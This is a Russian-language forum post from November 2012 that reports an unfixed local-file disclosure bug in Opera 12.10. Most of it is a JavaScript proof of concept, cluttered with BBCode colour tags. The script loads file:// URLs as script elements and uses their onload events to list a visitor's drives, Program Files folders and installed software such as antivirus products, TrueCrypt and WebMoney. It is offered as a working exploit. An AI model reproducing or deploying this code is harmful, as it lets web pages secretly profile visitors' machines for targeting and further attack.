| M_script |
09.11.2012 17:30 |
6 ноября вышла новая версия браузера Opera - 12.10, ошибка не исправлена.
Кое-какие изменения все же есть, поэтому предыдущий пример уже не работает. Теперь свойство complete обекта image зависит от типа файла, поэтому подходит только для проверки изображений.
PoC (Windows; Opera 12.10)
http://mscript.biz/opera_localfiles2.html
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
var[/COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]documentElement[/COLOR][COLOR="#007700"];
var[/COLOR][COLOR="#0000BB"]diskArr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'CDEFGHIJKLMNOPQRSTUVWXYZ'[/COLOR][COLOR="#007700"];
var[/COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'div'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'disks: '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"]);
var[/COLOR][COLOR="#0000BB"]dirArr[/COLOR][COLOR="#007700"]= new Array(
[/COLOR][COLOR="#DD0000"]'program files'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'program files (x86)'
[/COLOR][COLOR="#007700"]);
var[/COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'div'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]' program folders: '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"]);
var[/COLOR][COLOR="#0000BB"]progArr[/COLOR][COLOR="#007700"]= new Array(
[/COLOR][COLOR="#DD0000"]'adobe'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'akelpad'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'alcohol soft'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'avira'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'charles'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'daemon tools lite'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'drweb'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'eset'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'filezilla ftp client'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'filezilla ftp server'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.1'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.2'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.3'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.4'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.5'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.6'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.7'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'kaspersky lab'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'mcafee'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'microsoft office'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'microsoft visual studio'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'microsoft.net'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'mozilla firefox'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'nmap'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'nvidia corporation'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'notepad++'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'psi+'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'paragon software'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'qip'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'qip2010'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'qip2011'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'skype'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'teamviewer'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'total commander'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'truecrypt'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'utorrent'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'webmoney'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'winpcap'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'winrar'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'wireshark'
[/COLOR][COLOR="#007700"]);
var[/COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'div'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]' programs: '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"]);
function[/COLOR][COLOR="#0000BB"]add[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]type[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]removeChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);
switch([/COLOR][COLOR="#0000BB"]type[/COLOR][COLOR="#007700"])
{
case[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:
[/COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]checkDir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]);
break
case[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]:
[/COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]checkProg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]);
break;
case[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]:
[/COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"];
break;
}
}
function[/COLOR][COLOR="#0000BB"]checkProg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]dir[/COLOR][COLOR="#007700"])
{
for(var[/COLOR][COLOR="#0000BB"]i in progArr[/COLOR][COLOR="#007700"])
{
var[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= new Function([/COLOR][COLOR="#DD0000"]'top.add("'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dir[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]progArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]'", 2, this)'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file://'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dir[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]progArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);
}
}
function[/COLOR][COLOR="#0000BB"]checkDir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]disk[/COLOR][COLOR="#007700"])
{
for(var[/COLOR][COLOR="#0000BB"]i in dirArr[/COLOR][COLOR="#007700"])
{
var[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= new Function([/COLOR][COLOR="#DD0000"]'top.add("'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]disk[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dirArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]'", 1,this)'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file://'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]disk[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dirArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);
}
}
(function[/COLOR][COLOR="#0000BB"]checkDisk[/COLOR][COLOR="#007700"]()
{
for(var[/COLOR][COLOR="#0000BB"]i in diskArr[/COLOR][COLOR="#007700"])
{
var[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= new Function([/COLOR][COLOR="#DD0000"]'top.add("'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]diskArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]':", 0, this)'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file://'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]diskArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);
}
})()
[/COLOR][COLOR="#0000BB"]
[/COLOR]
[/COLOR]
|